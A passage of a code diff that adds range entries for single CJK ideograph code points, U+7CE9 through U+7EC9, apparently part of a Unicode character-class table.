+ ["\u7CE9", "\u7CE9"], /* CJK Ideograph */
+ ["\u7CEA", "\u7CEA"], /* CJK Ideograph */
+ ["\u7CEB", "\u7CEB"], /* CJK Ideograph */
+ ["\u7CEC", "\u7CEC"], /* CJK Ideograph */
+ ["\u7CED", "\u7CED"], /* CJK Ideograph */
+ ["\u7CEE", "\u7CEE"], /* CJK Ideograph */
+ ["\u7CEF", "\u7CEF"], /* CJK Ideograph */
+ ["\u7CF0", "\u7CF0"], /* CJK Ideograph */
+ ["\u7CF1", "\u7CF1"], /* CJK Ideograph */
+ ["\u7CF2", "\u7CF2"], /* CJK Ideograph */
+ ["\u7CF3", "\u7CF3"], /* CJK Ideograph */
+ ["\u7CF4", "\u7CF4"], /* CJK Ideograph */
+ ["\u7CF5", "\u7CF5"], /* CJK Ideograph */
+ ["\u7CF6", "\u7CF6"], /* CJK Ideograph */
+ ["\u7CF7", "\u7CF7"], /* CJK Ideograph */
+ ["\u7CF8", "\u7CF8"], /* CJK Ideograph */
+ ["\u7CF9", "\u7CF9"], /* CJK Ideograph */
+ ["\u7CFA", "\u7CFA"], /* CJK Ideograph */
+ ["\u7CFB", "\u7CFB"], /* CJK Ideograph */
+ ["\u7CFC", "\u7CFC"], /* CJK Ideograph */
+ ["\u7CFD", "\u7CFD"], /* CJK Ideograph */
+ ["\u7CFE", "\u7CFE"], /* CJK Ideograph */
+ ["\u7CFF", "\u7CFF"], /* CJK Ideograph */
+ ["\u7D00", "\u7D00"], /* CJK Ideograph */
+ ["\u7D01", "\u7D01"], /* CJK Ideograph */
+ ["\u7D02", "\u7D02"], /* CJK Ideograph */
+ ["\u7D03", "\u7D03"], /* CJK Ideograph */
+ ["\u7D04", "\u7D04"], /* CJK Ideograph */
+ ["\u7D05", "\u7D05"], /* CJK Ideograph */
+ ["\u7D06", "\u7D06"], /* CJK Ideograph */
+ ["\u7D07", "\u7D07"], /* CJK Ideograph */
+ ["\u7D08", "\u7D08"], /* CJK Ideograph */
+ ["\u7D09", "\u7D09"], /* CJK Ideograph */
+ ["\u7D0A", "\u7D0A"], /* CJK Ideograph */
+ ["\u7D0B", "\u7D0B"], /* CJK Ideograph */
+ ["\u7D0C", "\u7D0C"], /* CJK Ideograph */
+ ["\u7D0D", "\u7D0D"], /* CJK Ideograph */
+ ["\u7D0E", "\u7D0E"], /* CJK Ideograph */
+ ["\u7D0F", "\u7D0F"], /* CJK Ideograph */
+ ["\u7D10", "\u7D10"], /* CJK Ideograph */
+ ["\u7D11", "\u7D11"], /* CJK Ideograph */
+ ["\u7D12", "\u7D12"], /* CJK Ideograph */
+ ["\u7D13", "\u7D13"], /* CJK Ideograph */
+ ["\u7D14", "\u7D14"], /* CJK Ideograph */
+ ["\u7D15", "\u7D15"], /* CJK Ideograph */
+ ["\u7D16", "\u7D16"], /* CJK Ideograph */
+ ["\u7D17", "\u7D17"], /* CJK Ideograph */
+ ["\u7D18", "\u7D18"], /* CJK Ideograph */
+ ["\u7D19", "\u7D19"], /* CJK Ideograph */
+ ["\u7D1A", "\u7D1A"], /* CJK Ideograph */
+ ["\u7D1B", "\u7D1B"], /* CJK Ideograph */
+ ["\u7D1C", "\u7D1C"], /* CJK Ideograph */
+ ["\u7D1D", "\u7D1D"], /* CJK Ideograph */
+ ["\u7D1E", "\u7D1E"], /* CJK Ideograph */
+ ["\u7D1F", "\u7D1F"], /* CJK Ideograph */
+ ["\u7D20", "\u7D20"], /* CJK Ideograph */
+ ["\u7D21", "\u7D21"], /* CJK Ideograph */
+ ["\u7D22", "\u7D22"], /* CJK Ideograph */
+ ["\u7D23", "\u7D23"], /* CJK Ideograph */
+ ["\u7D24", "\u7D24"], /* CJK Ideograph */
+ ["\u7D25", "\u7D25"], /* CJK Ideograph */
+ ["\u7D26", "\u7D26"], /* CJK Ideograph */
+ ["\u7D27", "\u7D27"], /* CJK Ideograph */
+ ["\u7D28", "\u7D28"], /* CJK Ideograph */
+ ["\u7D29", "\u7D29"], /* CJK Ideograph */
+ ["\u7D2A", "\u7D2A"], /* CJK Ideograph */
+ ["\u7D2B", "\u7D2B"], /* CJK Ideograph */
+ ["\u7D2C", "\u7D2C"], /* CJK Ideograph */
+ ["\u7D2D", "\u7D2D"], /* CJK Ideograph */
+ ["\u7D2E", "\u7D2E"], /* CJK Ideograph */
+ ["\u7D2F", "\u7D2F"], /* CJK Ideograph */
+ ["\u7D30", "\u7D30"], /* CJK Ideograph */
+ ["\u7D31", "\u7D31"], /* CJK Ideograph */
+ ["\u7D32", "\u7D32"], /* CJK Ideograph */
+ ["\u7D33", "\u7D33"], /* CJK Ideograph */
+ ["\u7D34", "\u7D34"], /* CJK Ideograph */
+ ["\u7D35", "\u7D35"], /* CJK Ideograph */
+ ["\u7D36", "\u7D36"], /* CJK Ideograph */
+ ["\u7D37", "\u7D37"], /* CJK Ideograph */
+ ["\u7D38", "\u7D38"], /* CJK Ideograph */
+ ["\u7D39", "\u7D39"], /* CJK Ideograph */
+ ["\u7D3A", "\u7D3A"], /* CJK Ideograph */
+ ["\u7D3B", "\u7D3B"], /* CJK Ideograph */
+ ["\u7D3C", "\u7D3C"], /* CJK Ideograph */
+ ["\u7D3D", "\u7D3D"], /* CJK Ideograph */
+ ["\u7D3E", "\u7D3E"], /* CJK Ideograph */
+ ["\u7D3F", "\u7D3F"], /* CJK Ideograph */
+ ["\u7D40", "\u7D40"], /* CJK Ideograph */
+ ["\u7D41", "\u7D41"], /* CJK Ideograph */
+ ["\u7D42", "\u7D42"], /* CJK Ideograph */
+ ["\u7D43", "\u7D43"], /* CJK Ideograph */
+ ["\u7D44", "\u7D44"], /* CJK Ideograph */
+ ["\u7D45", "\u7D45"], /* CJK Ideograph */
+ ["\u7D46", "\u7D46"], /* CJK Ideograph */
+ ["\u7D47", "\u7D47"], /* CJK Ideograph */
+ ["\u7D48", "\u7D48"], /* CJK Ideograph */
+ ["\u7D49", "\u7D49"], /* CJK Ideograph */
+ ["\u7D4A", "\u7D4A"], /* CJK Ideograph */
+ ["\u7D4B", "\u7D4B"], /* CJK Ideograph */
+ ["\u7D4C", "\u7D4C"], /* CJK Ideograph */
+ ["\u7D4D", "\u7D4D"], /* CJK Ideograph */
+ ["\u7D4E", "\u7D4E"], /* CJK Ideograph */
+ ["\u7D4F", "\u7D4F"], /* CJK Ideograph */
+ ["\u7D50", "\u7D50"], /* CJK Ideograph */
+ ["\u7D51", "\u7D51"], /* CJK Ideograph */
+ ["\u7D52", "\u7D52"], /* CJK Ideograph */
+ ["\u7D53", "\u7D53"], /* CJK Ideograph */
+ ["\u7D54", "\u7D54"], /* CJK Ideograph */
+ ["\u7D55", "\u7D55"], /* CJK Ideograph */
+ ["\u7D56", "\u7D56"], /* CJK Ideograph */
+ ["\u7D57", "\u7D57"], /* CJK Ideograph */
+ ["\u7D58", "\u7D58"], /* CJK Ideograph */
+ ["\u7D59", "\u7D59"], /* CJK Ideograph */
+ ["\u7D5A", "\u7D5A"], /* CJK Ideograph */
+ ["\u7D5B", "\u7D5B"], /* CJK Ideograph */
+ ["\u7D5C", "\u7D5C"], /* CJK Ideograph */
+ ["\u7D5D", "\u7D5D"], /* CJK Ideograph */
+ ["\u7D5E", "\u7D5E"], /* CJK Ideograph */
+ ["\u7D5F", "\u7D5F"], /* CJK Ideograph */
+ ["\u7D60", "\u7D60"], /* CJK Ideograph */
+ ["\u7D61", "\u7D61"], /* CJK Ideograph */
+ ["\u7D62", "\u7D62"], /* CJK Ideograph */
+ ["\u7D63", "\u7D63"], /* CJK Ideograph */
+ ["\u7D64", "\u7D64"], /* CJK Ideograph */
+ ["\u7D65", "\u7D65"], /* CJK Ideograph */
+ ["\u7D66", "\u7D66"], /* CJK Ideograph */
+ ["\u7D67", "\u7D67"], /* CJK Ideograph */
+ ["\u7D68", "\u7D68"], /* CJK Ideograph */
+ ["\u7D69", "\u7D69"], /* CJK Ideograph */
+ ["\u7D6A", "\u7D6A"], /* CJK Ideograph */
+ ["\u7D6B", "\u7D6B"], /* CJK Ideograph */
+ ["\u7D6C", "\u7D6C"], /* CJK Ideograph */
+ ["\u7D6D", "\u7D6D"], /* CJK Ideograph */
+ ["\u7D6E", "\u7D6E"], /* CJK Ideograph */
+ ["\u7D6F", "\u7D6F"], /* CJK Ideograph */
+ ["\u7D70", "\u7D70"], /* CJK Ideograph */
+ ["\u7D71", "\u7D71"], /* CJK Ideograph */
+ ["\u7D72", "\u7D72"], /* CJK Ideograph */
+ ["\u7D73", "\u7D73"], /* CJK Ideograph */
+ ["\u7D74", "\u7D74"], /* CJK Ideograph */
+ ["\u7D75", "\u7D75"], /* CJK Ideograph */
+ ["\u7D76", "\u7D76"], /* CJK Ideograph */
+ ["\u7D77", "\u7D77"], /* CJK Ideograph */
+ ["\u7D78", "\u7D78"], /* CJK Ideograph */
+ ["\u7D79", "\u7D79"], /* CJK Ideograph */
+ ["\u7D7A", "\u7D7A"], /* CJK Ideograph */
+ ["\u7D7B", "\u7D7B"], /* CJK Ideograph */
+ ["\u7D7C", "\u7D7C"], /* CJK Ideograph */
+ ["\u7D7D", "\u7D7D"], /* CJK Ideograph */
+ ["\u7D7E", "\u7D7E"], /* CJK Ideograph */
+ ["\u7D7F", "\u7D7F"], /* CJK Ideograph */
+ ["\u7D80", "\u7D80"], /* CJK Ideograph */
+ ["\u7D81", "\u7D81"], /* CJK Ideograph */
+ ["\u7D82", "\u7D82"], /* CJK Ideograph */
+ ["\u7D83", "\u7D83"], /* CJK Ideograph */
+ ["\u7D84", "\u7D84"], /* CJK Ideograph */
+ ["\u7D85", "\u7D85"], /* CJK Ideograph */
+ ["\u7D86", "\u7D86"], /* CJK Ideograph */
+ ["\u7D87", "\u7D87"], /* CJK Ideograph */
+ ["\u7D88", "\u7D88"], /* CJK Ideograph */
+ ["\u7D89", "\u7D89"], /* CJK Ideograph */
+ ["\u7D8A", "\u7D8A"], /* CJK Ideograph */
+ ["\u7D8B", "\u7D8B"], /* CJK Ideograph */
+ ["\u7D8C", "\u7D8C"], /* CJK Ideograph */
+ ["\u7D8D", "\u7D8D"], /* CJK Ideograph */
+ ["\u7D8E", "\u7D8E"], /* CJK Ideograph */
+ ["\u7D8F", "\u7D8F"], /* CJK Ideograph */
+ ["\u7D90", "\u7D90"], /* CJK Ideograph */
+ ["\u7D91", "\u7D91"], /* CJK Ideograph */
+ ["\u7D92", "\u7D92"], /* CJK Ideograph */
+ ["\u7D93", "\u7D93"], /* CJK Ideograph */
+ ["\u7D94", "\u7D94"], /* CJK Ideograph */
+ ["\u7D95", "\u7D95"], /* CJK Ideograph */
+ ["\u7D96", "\u7D96"], /* CJK Ideograph */
+ ["\u7D97", "\u7D97"], /* CJK Ideograph */
+ ["\u7D98", "\u7D98"], /* CJK Ideograph */
+ ["\u7D99", "\u7D99"], /* CJK Ideograph */
+ ["\u7D9A", "\u7D9A"], /* CJK Ideograph */
+ ["\u7D9B", "\u7D9B"], /* CJK Ideograph */
+ ["\u7D9C", "\u7D9C"], /* CJK Ideograph */
+ ["\u7D9D", "\u7D9D"], /* CJK Ideograph */
+ ["\u7D9E", "\u7D9E"], /* CJK Ideograph */
+ ["\u7D9F", "\u7D9F"], /* CJK Ideograph */
+ ["\u7DA0", "\u7DA0"], /* CJK Ideograph */
+ ["\u7DA1", "\u7DA1"], /* CJK Ideograph */
+ ["\u7DA2", "\u7DA2"], /* CJK Ideograph */
+ ["\u7DA3", "\u7DA3"], /* CJK Ideograph */
+ ["\u7DA4", "\u7DA4"], /* CJK Ideograph */
+ ["\u7DA5", "\u7DA5"], /* CJK Ideograph */
+ ["\u7DA6", "\u7DA6"], /* CJK Ideograph */
+ ["\u7DA7", "\u7DA7"], /* CJK Ideograph */
+ ["\u7DA8", "\u7DA8"], /* CJK Ideograph */
+ ["\u7DA9", "\u7DA9"], /* CJK Ideograph */
+ ["\u7DAA", "\u7DAA"], /* CJK Ideograph */
+ ["\u7DAB", "\u7DAB"], /* CJK Ideograph */
+ ["\u7DAC", "\u7DAC"], /* CJK Ideograph */
+ ["\u7DAD", "\u7DAD"], /* CJK Ideograph */
+ ["\u7DAE", "\u7DAE"], /* CJK Ideograph */
+ ["\u7DAF", "\u7DAF"], /* CJK Ideograph */
+ ["\u7DB0", "\u7DB0"], /* CJK Ideograph */
+ ["\u7DB1", "\u7DB1"], /* CJK Ideograph */
+ ["\u7DB2", "\u7DB2"], /* CJK Ideograph */
+ ["\u7DB3", "\u7DB3"], /* CJK Ideograph */
+ ["\u7DB4", "\u7DB4"], /* CJK Ideograph */
+ ["\u7DB5", "\u7DB5"], /* CJK Ideograph */
+ ["\u7DB6", "\u7DB6"], /* CJK Ideograph */
+ ["\u7DB7", "\u7DB7"], /* CJK Ideograph */
+ ["\u7DB8", "\u7DB8"], /* CJK Ideograph */
+ ["\u7DB9", "\u7DB9"], /* CJK Ideograph */
+ ["\u7DBA", "\u7DBA"], /* CJK Ideograph */
+ ["\u7DBB", "\u7DBB"], /* CJK Ideograph */
+ ["\u7DBC", "\u7DBC"], /* CJK Ideograph */
+ ["\u7DBD", "\u7DBD"], /* CJK Ideograph */
+ ["\u7DBE", "\u7DBE"], /* CJK Ideograph */
+ ["\u7DBF", "\u7DBF"], /* CJK Ideograph */
+ ["\u7DC0", "\u7DC0"], /* CJK Ideograph */
+ ["\u7DC1", "\u7DC1"], /* CJK Ideograph */
+ ["\u7DC2", "\u7DC2"], /* CJK Ideograph */
+ ["\u7DC3", "\u7DC3"], /* CJK Ideograph */
+ ["\u7DC4", "\u7DC4"], /* CJK Ideograph */
+ ["\u7DC5", "\u7DC5"], /* CJK Ideograph */
+ ["\u7DC6", "\u7DC6"], /* CJK Ideograph */
+ ["\u7DC7", "\u7DC7"], /* CJK Ideograph */
+ ["\u7DC8", "\u7DC8"], /* CJK Ideograph */
+ ["\u7DC9", "\u7DC9"], /* CJK Ideograph */
+ ["\u7DCA", "\u7DCA"], /* CJK Ideograph */
+ ["\u7DCB", "\u7DCB"], /* CJK Ideograph */
+ ["\u7DCC", "\u7DCC"], /* CJK Ideograph */
+ ["\u7DCD", "\u7DCD"], /* CJK Ideograph */
+ ["\u7DCE", "\u7DCE"], /* CJK Ideograph */
+ ["\u7DCF", "\u7DCF"], /* CJK Ideograph */
+ ["\u7DD0", "\u7DD0"], /* CJK Ideograph */
+ ["\u7DD1", "\u7DD1"], /* CJK Ideograph */
+ ["\u7DD2", "\u7DD2"], /* CJK Ideograph */
+ ["\u7DD3", "\u7DD3"], /* CJK Ideograph */
+ ["\u7DD4", "\u7DD4"], /* CJK Ideograph */
+ ["\u7DD5", "\u7DD5"], /* CJK Ideograph */
+ ["\u7DD6", "\u7DD6"], /* CJK Ideograph */
+ ["\u7DD7", "\u7DD7"], /* CJK Ideograph */
+ ["\u7DD8", "\u7DD8"], /* CJK Ideograph */
+ ["\u7DD9", "\u7DD9"], /* CJK Ideograph */
+ ["\u7DDA", "\u7DDA"], /* CJK Ideograph */
+ ["\u7DDB", "\u7DDB"], /* CJK Ideograph */
+ ["\u7DDC", "\u7DDC"], /* CJK Ideograph */
+ ["\u7DDD", "\u7DDD"], /* CJK Ideograph */
+ ["\u7DDE", "\u7DDE"], /* CJK Ideograph */
+ ["\u7DDF", "\u7DDF"], /* CJK Ideograph */
+ ["\u7DE0", "\u7DE0"], /* CJK Ideograph */
+ ["\u7DE1", "\u7DE1"], /* CJK Ideograph */
+ ["\u7DE2", "\u7DE2"], /* CJK Ideograph */
+ ["\u7DE3", "\u7DE3"], /* CJK Ideograph */
+ ["\u7DE4", "\u7DE4"], /* CJK Ideograph */
+ ["\u7DE5", "\u7DE5"], /* CJK Ideograph */
+ ["\u7DE6", "\u7DE6"], /* CJK Ideograph */
+ ["\u7DE7", "\u7DE7"], /* CJK Ideograph */
+ ["\u7DE8", "\u7DE8"], /* CJK Ideograph */
+ ["\u7DE9", "\u7DE9"], /* CJK Ideograph */
+ ["\u7DEA", "\u7DEA"], /* CJK Ideograph */
+ ["\u7DEB", "\u7DEB"], /* CJK Ideograph */
+ ["\u7DEC", "\u7DEC"], /* CJK Ideograph */
+ ["\u7DED", "\u7DED"], /* CJK Ideograph */
+ ["\u7DEE", "\u7DEE"], /* CJK Ideograph */
+ ["\u7DEF", "\u7DEF"], /* CJK Ideograph */
+ ["\u7DF0", "\u7DF0"], /* CJK Ideograph */
+ ["\u7DF1", "\u7DF1"], /* CJK Ideograph */
+ ["\u7DF2", "\u7DF2"], /* CJK Ideograph */
+ ["\u7DF3", "\u7DF3"], /* CJK Ideograph */
+ ["\u7DF4", "\u7DF4"], /* CJK Ideograph */
+ ["\u7DF5", "\u7DF5"], /* CJK Ideograph */
+ ["\u7DF6", "\u7DF6"], /* CJK Ideograph */
+ ["\u7DF7", "\u7DF7"], /* CJK Ideograph */
+ ["\u7DF8", "\u7DF8"], /* CJK Ideograph */
+ ["\u7DF9", "\u7DF9"], /* CJK Ideograph */
+ ["\u7DFA", "\u7DFA"], /* CJK Ideograph */
+ ["\u7DFB", "\u7DFB"], /* CJK Ideograph */
+ ["\u7DFC", "\u7DFC"], /* CJK Ideograph */
+ ["\u7DFD", "\u7DFD"], /* CJK Ideograph */
+ ["\u7DFE", "\u7DFE"], /* CJK Ideograph */
+ ["\u7DFF", "\u7DFF"], /* CJK Ideograph */
+ ["\u7E00", "\u7E00"], /* CJK Ideograph */
+ ["\u7E01", "\u7E01"], /* CJK Ideograph */
+ ["\u7E02", "\u7E02"], /* CJK Ideograph */
+ ["\u7E03", "\u7E03"], /* CJK Ideograph */
+ ["\u7E04", "\u7E04"], /* CJK Ideograph */
+ ["\u7E05", "\u7E05"], /* CJK Ideograph */
+ ["\u7E06", "\u7E06"], /* CJK Ideograph */
+ ["\u7E07", "\u7E07"], /* CJK Ideograph */
+ ["\u7E08", "\u7E08"], /* CJK Ideograph */
+ ["\u7E09", "\u7E09"], /* CJK Ideograph */
+ ["\u7E0A", "\u7E0A"], /* CJK Ideograph */
+ ["\u7E0B", "\u7E0B"], /* CJK Ideograph */
+ ["\u7E0C", "\u7E0C"], /* CJK Ideograph */
+ ["\u7E0D", "\u7E0D"], /* CJK Ideograph */
+ ["\u7E0E", "\u7E0E"], /* CJK Ideograph */
+ ["\u7E0F", "\u7E0F"], /* CJK Ideograph */
+ ["\u7E10", "\u7E10"], /* CJK Ideograph */
+ ["\u7E11", "\u7E11"], /* CJK Ideograph */
+ ["\u7E12", "\u7E12"], /* CJK Ideograph */
+ ["\u7E13", "\u7E13"], /* CJK Ideograph */
+ ["\u7E14", "\u7E14"], /* CJK Ideograph */
+ ["\u7E15", "\u7E15"], /* CJK Ideograph */
+ ["\u7E16", "\u7E16"], /* CJK Ideograph */
+ ["\u7E17", "\u7E17"], /* CJK Ideograph */
+ ["\u7E18", "\u7E18"], /* CJK Ideograph */
+ ["\u7E19", "\u7E19"], /* CJK Ideograph */
+ ["\u7E1A", "\u7E1A"], /* CJK Ideograph */
+ ["\u7E1B", "\u7E1B"], /* CJK Ideograph */
+ ["\u7E1C", "\u7E1C"], /* CJK Ideograph */
+ ["\u7E1D", "\u7E1D"], /* CJK Ideograph */
+ ["\u7E1E", "\u7E1E"], /* CJK Ideograph */
+ ["\u7E1F", "\u7E1F"], /* CJK Ideograph */
+ ["\u7E20", "\u7E20"], /* CJK Ideograph */
+ ["\u7E21", "\u7E21"], /* CJK Ideograph */
+ ["\u7E22", "\u7E22"], /* CJK Ideograph */
+ ["\u7E23", "\u7E23"], /* CJK Ideograph */
+ ["\u7E24", "\u7E24"], /* CJK Ideograph */
+ ["\u7E25", "\u7E25"], /* CJK Ideograph */
+ ["\u7E26", "\u7E26"], /* CJK Ideograph */
+ ["\u7E27", "\u7E27"], /* CJK Ideograph */
+ ["\u7E28", "\u7E28"], /* CJK Ideograph */
+ ["\u7E29", "\u7E29"], /* CJK Ideograph */
+ ["\u7E2A", "\u7E2A"], /* CJK Ideograph */
+ ["\u7E2B", "\u7E2B"], /* CJK Ideograph */
+ ["\u7E2C", "\u7E2C"], /* CJK Ideograph */
+ ["\u7E2D", "\u7E2D"], /* CJK Ideograph */
+ ["\u7E2E", "\u7E2E"], /* CJK Ideograph */
+ ["\u7E2F", "\u7E2F"], /* CJK Ideograph */
+ ["\u7E30", "\u7E30"], /* CJK Ideograph */
+ ["\u7E31", "\u7E31"], /* CJK Ideograph */
+ ["\u7E32", "\u7E32"], /* CJK Ideograph */
+ ["\u7E33", "\u7E33"], /* CJK Ideograph */
+ ["\u7E34", "\u7E34"], /* CJK Ideograph */
+ ["\u7E35", "\u7E35"], /* CJK Ideograph */
+ ["\u7E36", "\u7E36"], /* CJK Ideograph */
+ ["\u7E37", "\u7E37"], /* CJK Ideograph */
+ ["\u7E38", "\u7E38"], /* CJK Ideograph */
+ ["\u7E39", "\u7E39"], /* CJK Ideograph */
+ ["\u7E3A", "\u7E3A"], /* CJK Ideograph */
+ ["\u7E3B", "\u7E3B"], /* CJK Ideograph */
+ ["\u7E3C", "\u7E3C"], /* CJK Ideograph */
+ ["\u7E3D", "\u7E3D"], /* CJK Ideograph */
+ ["\u7E3E", "\u7E3E"], /* CJK Ideograph */
+ ["\u7E3F", "\u7E3F"], /* CJK Ideograph */
+ ["\u7E40", "\u7E40"], /* CJK Ideograph */
+ ["\u7E41", "\u7E41"], /* CJK Ideograph */
+ ["\u7E42", "\u7E42"], /* CJK Ideograph */
+ ["\u7E43", "\u7E43"], /* CJK Ideograph */
+ ["\u7E44", "\u7E44"], /* CJK Ideograph */
+ ["\u7E45", "\u7E45"], /* CJK Ideograph */
+ ["\u7E46", "\u7E46"], /* CJK Ideograph */
+ ["\u7E47", "\u7E47"], /* CJK Ideograph */
+ ["\u7E48", "\u7E48"], /* CJK Ideograph */
+ ["\u7E49", "\u7E49"], /* CJK Ideograph */
+ ["\u7E4A", "\u7E4A"], /* CJK Ideograph */
+ ["\u7E4B", "\u7E4B"], /* CJK Ideograph */
+ ["\u7E4C", "\u7E4C"], /* CJK Ideograph */
+ ["\u7E4D", "\u7E4D"], /* CJK Ideograph */
+ ["\u7E4E", "\u7E4E"], /* CJK Ideograph */
+ ["\u7E4F", "\u7E4F"], /* CJK Ideograph */
+ ["\u7E50", "\u7E50"], /* CJK Ideograph */
+ ["\u7E51", "\u7E51"], /* CJK Ideograph */
+ ["\u7E52", "\u7E52"], /* CJK Ideograph */
+ ["\u7E53", "\u7E53"], /* CJK Ideograph */
+ ["\u7E54", "\u7E54"], /* CJK Ideograph */
+ ["\u7E55", "\u7E55"], /* CJK Ideograph */
+ ["\u7E56", "\u7E56"], /* CJK Ideograph */
+ ["\u7E57", "\u7E57"], /* CJK Ideograph */
+ ["\u7E58", "\u7E58"], /* CJK Ideograph */
+ ["\u7E59", "\u7E59"], /* CJK Ideograph */
+ ["\u7E5A", "\u7E5A"], /* CJK Ideograph */
+ ["\u7E5B", "\u7E5B"], /* CJK Ideograph */
+ ["\u7E5C", "\u7E5C"], /* CJK Ideograph */
+ ["\u7E5D", "\u7E5D"], /* CJK Ideograph */
+ ["\u7E5E", "\u7E5E"], /* CJK Ideograph */
+ ["\u7E5F", "\u7E5F"], /* CJK Ideograph */
+ ["\u7E60", "\u7E60"], /* CJK Ideograph */
+ ["\u7E61", "\u7E61"], /* CJK Ideograph */
+ ["\u7E62", "\u7E62"], /* CJK Ideograph */
+ ["\u7E63", "\u7E63"], /* CJK Ideograph */
+ ["\u7E64", "\u7E64"], /* CJK Ideograph */
+ ["\u7E65", "\u7E65"], /* CJK Ideograph */
+ ["\u7E66", "\u7E66"], /* CJK Ideograph */
+ ["\u7E67", "\u7E67"], /* CJK Ideograph */
+ ["\u7E68", "\u7E68"], /* CJK Ideograph */
+ ["\u7E69", "\u7E69"], /* CJK Ideograph */
+ ["\u7E6A", "\u7E6A"], /* CJK Ideograph */
+ ["\u7E6B", "\u7E6B"], /* CJK Ideograph */
+ ["\u7E6C", "\u7E6C"], /* CJK Ideograph */
+ ["\u7E6D", "\u7E6D"], /* CJK Ideograph */
+ ["\u7E6E", "\u7E6E"], /* CJK Ideograph */
+ ["\u7E6F", "\u7E6F"], /* CJK Ideograph */
+ ["\u7E70", "\u7E70"], /* CJK Ideograph */
+ ["\u7E71", "\u7E71"], /* CJK Ideograph */
+ ["\u7E72", "\u7E72"], /* CJK Ideograph */
+ ["\u7E73", "\u7E73"], /* CJK Ideograph */
+ ["\u7E74", "\u7E74"], /* CJK Ideograph */
+ ["\u7E75", "\u7E75"], /* CJK Ideograph */
+ ["\u7E76", "\u7E76"], /* CJK Ideograph */
+ ["\u7E77", "\u7E77"], /* CJK Ideograph */
+ ["\u7E78", "\u7E78"], /* CJK Ideograph */
+ ["\u7E79", "\u7E79"], /* CJK Ideograph */
+ ["\u7E7A", "\u7E7A"], /* CJK Ideograph */
+ ["\u7E7B", "\u7E7B"], /* CJK Ideograph */
+ ["\u7E7C", "\u7E7C"], /* CJK Ideograph */
+ ["\u7E7D", "\u7E7D"], /* CJK Ideograph */
+ ["\u7E7E", "\u7E7E"], /* CJK Ideograph */
+ ["\u7E7F", "\u7E7F"], /* CJK Ideograph */
+ ["\u7E80", "\u7E80"], /* CJK Ideograph */
+ ["\u7E81", "\u7E81"], /* CJK Ideograph */
+ ["\u7E82", "\u7E82"], /* CJK Ideograph */
+ ["\u7E83", "\u7E83"], /* CJK Ideograph */
+ ["\u7E84", "\u7E84"], /* CJK Ideograph */
+ ["\u7E85", "\u7E85"], /* CJK Ideograph */
+ ["\u7E86", "\u7E86"], /* CJK Ideograph */
+ ["\u7E87", "\u7E87"], /* CJK Ideograph */
+ ["\u7E88", "\u7E88"], /* CJK Ideograph */
+ ["\u7E89", "\u7E89"], /* CJK Ideograph */
+ ["\u7E8A", "\u7E8A"], /* CJK Ideograph */
+ ["\u7E8B", "\u7E8B"], /* CJK Ideograph */
+ ["\u7E8C", "\u7E8C"], /* CJK Ideograph */
+ ["\u7E8D", "\u7E8D"], /* CJK Ideograph */
+ ["\u7E8E", "\u7E8E"], /* CJK Ideograph */
+ ["\u7E8F", "\u7E8F"], /* CJK Ideograph */
+ ["\u7E90", "\u7E90"], /* CJK Ideograph */
+ ["\u7E91", "\u7E91"], /* CJK Ideograph */
+ ["\u7E92", "\u7E92"], /* CJK Ideograph */
+ ["\u7E93", "\u7E93"], /* CJK Ideograph */
+ ["\u7E94", "\u7E94"], /* CJK Ideograph */
+ ["\u7E95", "\u7E95"], /* CJK Ideograph */
+ ["\u7E96", "\u7E96"], /* CJK Ideograph */
+ ["\u7E97", "\u7E97"], /* CJK Ideograph */
+ ["\u7E98", "\u7E98"], /* CJK Ideograph */
+ ["\u7E99", "\u7E99"], /* CJK Ideograph */
+ ["\u7E9A", "\u7E9A"], /* CJK Ideograph */
+ ["\u7E9B", "\u7E9B"], /* CJK Ideograph */
+ ["\u7E9C", "\u7E9C"], /* CJK Ideograph */
+ ["\u7E9D", "\u7E9D"], /* CJK Ideograph */
+ ["\u7E9E", "\u7E9E"], /* CJK Ideograph */
+ ["\u7E9F", "\u7E9F"], /* CJK Ideograph */
+ ["\u7EA0", "\u7EA0"], /* CJK Ideograph */
+ ["\u7EA1", "\u7EA1"], /* CJK Ideograph */
+ ["\u7EA2", "\u7EA2"], /* CJK Ideograph */
+ ["\u7EA3", "\u7EA3"], /* CJK Ideograph */
+ ["\u7EA4", "\u7EA4"], /* CJK Ideograph */
+ ["\u7EA5", "\u7EA5"], /* CJK Ideograph */
+ ["\u7EA6", "\u7EA6"], /* CJK Ideograph */
+ ["\u7EA7", "\u7EA7"], /* CJK Ideograph */
+ ["\u7EA8", "\u7EA8"], /* CJK Ideograph */
+ ["\u7EA9", "\u7EA9"], /* CJK Ideograph */
+ ["\u7EAA", "\u7EAA"], /* CJK Ideograph */
+ ["\u7EAB", "\u7EAB"], /* CJK Ideograph */
+ ["\u7EAC", "\u7EAC"], /* CJK Ideograph */
+ ["\u7EAD", "\u7EAD"], /* CJK Ideograph */
+ ["\u7EAE", "\u7EAE"], /* CJK Ideograph */
+ ["\u7EAF", "\u7EAF"], /* CJK Ideograph */
+ ["\u7EB0", "\u7EB0"], /* CJK Ideograph */
+ ["\u7EB1", "\u7EB1"], /* CJK Ideograph */
+ ["\u7EB2", "\u7EB2"], /* CJK Ideograph */
+ ["\u7EB3", "\u7EB3"], /* CJK Ideograph */
+ ["\u7EB4", "\u7EB4"], /* CJK Ideograph */
+ ["\u7EB5", "\u7EB5"], /* CJK Ideograph */
+ ["\u7EB6", "\u7EB6"], /* CJK Ideograph */
+ ["\u7EB7", "\u7EB7"], /* CJK Ideograph */
+ ["\u7EB8", "\u7EB8"], /* CJK Ideograph */
+ ["\u7EB9", "\u7EB9"], /* CJK Ideograph */
+ ["\u7EBA", "\u7EBA"], /* CJK Ideograph */
+ ["\u7EBB", "\u7EBB"], /* CJK Ideograph */
+ ["\u7EBC", "\u7EBC"], /* CJK Ideograph */
+ ["\u7EBD", "\u7EBD"], /* CJK Ideograph */
+ ["\u7EBE", "\u7EBE"], /* CJK Ideograph */
+ ["\u7EBF", "\u7EBF"], /* CJK Ideograph */
+ ["\u7EC0", "\u7EC0"], /* CJK Ideograph */
+ ["\u7EC1", "\u7EC1"], /* CJK Ideograph */
+ ["\u7EC2", "\u7EC2"], /* CJK Ideograph */
+ ["\u7EC3", "\u7EC3"], /* CJK Ideograph */
+ ["\u7EC4", "\u7EC4"], /* CJK Ideograph */
+ ["\u7EC5", "\u7EC5"], /* CJK Ideograph */
+ ["\u7EC6", "\u7EC6"], /* CJK Ideograph */
+ ["\u7EC7", "\u7EC7"], /* CJK Ideograph */
+ ["\u7EC8", "\u7EC8"], /* CJK Ideograph */
+ ["\u7EC9", "\u7EC9"], /* CJK Ideograph */
